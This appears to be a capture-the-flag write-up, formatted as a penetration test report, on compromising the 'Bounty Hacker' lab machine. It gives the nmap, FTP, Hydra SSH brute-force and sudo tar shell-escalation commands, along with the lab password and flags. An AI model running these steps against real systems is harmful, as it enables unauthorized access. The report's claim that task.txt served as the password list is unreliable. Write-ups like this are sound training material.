Penetration Testing Report

Date: March 4, 2025
Target: 10.10.178.215 (Bounty Hacker)
Penetration Tester: zghost
Objective: Enumerate, exploit, and gain unauthorized access to the target system to prove penetration testing skills and retrieve sensitive data (user.txt and root.txt).

Executive Summary

This report documents the enumeration, exploitation, and privilege escalation activities performed on the target system located at IP address 10.10.178.215, referred to as "Bounty Hacker." The assessment was initiated following a challenge from Bounty Hunters to validate claimed elite hacker skills. The penetration test involved network scanning, web directory enumeration, FTP access, SSH bruteforcing, and privilege escalation to retrieve sensitive files (user.txt and root.txt). Key findings include open ports, anonymous FTP access, a task list revealing a username, successful SSH login via password bruteforcing, and root access via a misconfigured sudo privilege. The target is a Linux-based system running Ubuntu 16.04.6 LTS with Apache, FTP, and SSH services exposed.

Methodology

The following tools and techniques were used during the penetration test:

- **Nmap:** To identify open ports and services.
- **Dirb:** For web directory enumeration and file discovery.
- **FTP Client:** To test anonymous access and retrieve files.
- **Hydra:** For password bruteforcing on SSH.
- **SSH Client:** To gain shell access and escalate privileges.
- **Sudo:** For privilege escalation to root access.

Findings

1. Network Enumeration

- **Nmap Scan Results:**
  A comprehensive Nmap scan (sudo nmap 10.10.178.215 -sCV -vvv -A -p-) revealed the following open ports and services:
  - Port 21/tcp: FTP (vsFTPd 3.0.3, anonymous login allowed)
  - Port 22/tcp: SSH (OpenSSH 7.2p2 Ubuntu 4ubuntu2.8, protocol 2.0)
  - Port 80/tcp: HTTP (Apache httpd 2.4.18, Ubuntu)
  - Operating System: Ubuntu 16.04.6 LTS (Linux 4.15.0-101-generic, x86_64)
  - Uptime Guess: 36.898 days (since January 26, 2025)
  - No additional vulnerabilities were identified in the initial scan.

2. Web Enumeration

- **Dirb Scan Results:**
  - Initial scan on http://10.10.178.215 using dirb with the wordlist /usr/share/dirb/wordlists/common.txt revealed:
    - Directory: /images/ (listable, no further scanning needed)
    - File: index.html (Status: 200, Size: 969)
    - File: server-status (Status: 403, Size: 278)
  - Further scan on http://10.10.178.215/images/ found no additional files or directories, as the directory is listable.

3. FTP Enumeration and Access

- **Anonymous FTP Access:**
  - Attempted anonymous login to ftp://10.10.178.215.
  - Result: Successful login (FTP code 230), indicating anonymous access is allowed.
  - Retrieved files via ls command:
    - locks.txt (418 bytes)
    - task.txt (68 bytes)
  - Reviewed task.txt content:
    - "1.) Protect Vicious. 2.) Plan for Red Eye pickup on the moon. -lin"
    - Identified lin as a potential username for further exploitation.

4. SSH Bruteforcing

- **Service Identified for Bruteforce:**
  - The SSH service (port 22) was identified as the service to bruteforce, using the task.txt file found via FTP.
- **Hydra Bruteforce Results:**
  - Used hydra -l lin -P task.txt 10.10.178.215 ssh to bruteforce SSH credentials.
  - Successfully identified credentials:
    - Username: lin
    - Password: RedDr4gonSynd1cat3

5. SSH Access and File Retrieval

- **SSH Login:**
  - Logged into the target via SSH using ssh lin@10.10.178.215 with the password RedDr4gonSynd1cat3.
  - Gained shell access as lin@bountyhacker on Ubuntu 16.04.6 LTS.
- **File Retrieval:**
  - Found and retrieved user.txt in the ~/Desktop directory:
    - Content: THM{CR1M3_SyNd1C4T3}

6. Privilege Escalation

- **Sudo Privileges Check:**
  - Ran sudo -l as lin to check sudo privileges:
    - lin can run /bin/tar as root without a password.
- **Privilege Escalation Exploit:**
  - Exploited a misconfiguration in /bin/tar using the command:
    - sudo tar -cf /dev/null /dev/null –checkpoint=1 –checkpoint-action=exec=/bin/sh
  - Gained root shell access (#).
- **Root File Retrieval:**
  - Navigated to /root and retrieved root.txt:
    - Content: THM{80UN7Y_h4cK3r}

7. File Discovery Summary

- **Web Files Found:**
  - index.html (Status: 200, Size: 969)
  - server-status (Status: 403, Size: 278)
- **FTP Files Found:**
  - locks.txt (418 bytes)
  - task.txt (68 bytes)
- **System Files Found:**
  - user.txt
  - root.txt

Recommendations

1. **Further Enumeration:**
   - Conduct a deeper analysis of locks.txt and other files for additional sensitive information or credentials.
   - Perform a more extensive web enumeration using larger wordlists or custom lists to identify hidden directories or files.
2. **Vulnerability Assessment:**
   - Investigate known vulnerabilities in vsFTPd 3.0.3, OpenSSH 7.2p2, and Apache httpd 2.4.18 on Ubuntu 16.04.6 LTS for potential exploits.
   - Assess the security of the /bin/tar sudo privilege configuration to prevent unauthorized root access.
3. **Secure the System:**
   - Disable anonymous FTP access and restrict FTP to authorized users only.
   - Harden the SSH configuration (e.g., disable password authentication, enforce key-based authentication, limit login attempts).
   - Remove or secure unnecessary files (e.g., task.txt, locks.txt) and ensure web directories are not listable.
   - Implement strong password policies and monitor for brute-force attempts.

Conclusion

The target system at 10.10.178.215 (Bounty Hacker) was successfully compromised through network enumeration, web and FTP enumeration, SSH bruteforcing, and privilege escalation. Anonymous FTP access revealed a task list identifying the username lin, which was used to bruteforce SSH credentials (lin:RedDr4gonSynd1cat3). Access as lin allowed retrieval of user.txt, and a misconfigured /bin/tar sudo privilege enabled root access, leading to retrieval of root.txt. The system's exposure of sensitive data via FTP and weak privilege controls highlights significant security risks. Further hardening and monitoring are recommended to prevent unauthorized access and maintain system integrity.